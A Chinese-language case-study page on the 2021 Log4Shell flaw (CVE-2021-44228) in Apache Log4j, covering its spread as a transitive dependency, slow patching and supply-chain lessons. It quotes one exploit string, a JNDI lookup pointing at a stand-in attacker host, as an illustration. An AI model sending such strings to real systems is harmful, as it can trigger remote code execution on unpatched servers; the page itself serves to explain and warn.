返回档案库

案例库 · 软件与 IT · 技术决策 · 2021

Log4j 的“Log4Shell”漏洞无处不在——整个互联网花了一个月打补丁

Apache Log4j 中的一个零日漏洞 (CVE-2021-44228) 能在数百万台服务器上远程执行代码。它被称为“十年来最大的漏洞”。

Apache 软件基金会 · 2021-12

怎么回事

2021 年 12 月,人们在一个无处不在的 Java 日志库 Apache Log4j 中发现了一个严重的零日漏洞 (CVE-2021-44228,绰号“Log4Shell”),它被用在数百万个应用和服务器里。攻击者只要发送一段精心构造的字符串,就能在服务器上执行任意代码——简单到只需在登录框里输入“${jndi:ldap://attacker.com}”。

这个漏洞之所以是灾难性的,是因为 Log4j 嵌在种类繁多的软件里:企业应用、云服务、游戏服务器 (Minecraft)、物联网设备、政府系统。许多机构甚至不知道自己在运行 Log4j,因为它是一个深埋在软件栈里的传递依赖。

Apache 软件基金会发布了补丁,但修复缓慢而复杂:机构必须找出系统里每一处 Log4j,逐个打补丁,再验证修复。漏洞在披露后几小时内就被积极利用。这一案例说明了现代软件供应链的脆弱:一个被广泛使用的开源库里的单一漏洞,能同时危及数百万个系统。

为什么会这样

  • Log4j 作为传递依赖嵌在数百万个应用里,运行它的机构往往毫不知情。
  • 这个漏洞允许远程代码执行,利用字符串简单得不能再简单。
  • 修复很慢,因为机构必须在自己技术栈里找到并修补每一处 Log4j。
  • 漏洞在公开披露后几小时内就被积极利用。
代价数百万个系统受影响;全球范围的打补丁行动灾难级

教训

现代软件栈是一座依赖之塔,大多数机构并不知道自己的塔里有什么。Log4j 无处不在。问题不是“我们受影响了吗?”,而是“我们能率先查清楚吗?”

后来呢

Apache 发布了补丁,这个 CVE 被评为 10.0 的严重性满分。这一案例促使美国政府就软件供应链安全发布行政命令,也加快了软件物料清单 (SBOM) 的采用。Log4j 至今仍是供应链风险的一个参照点。

资料来源

发现哪里写错了?告诉我们。

Comments · 0

    登录 后就能评论。

    类似的案例

    这家公司栽倒的地方,别处有人漂亮地解开过。 第二意见 →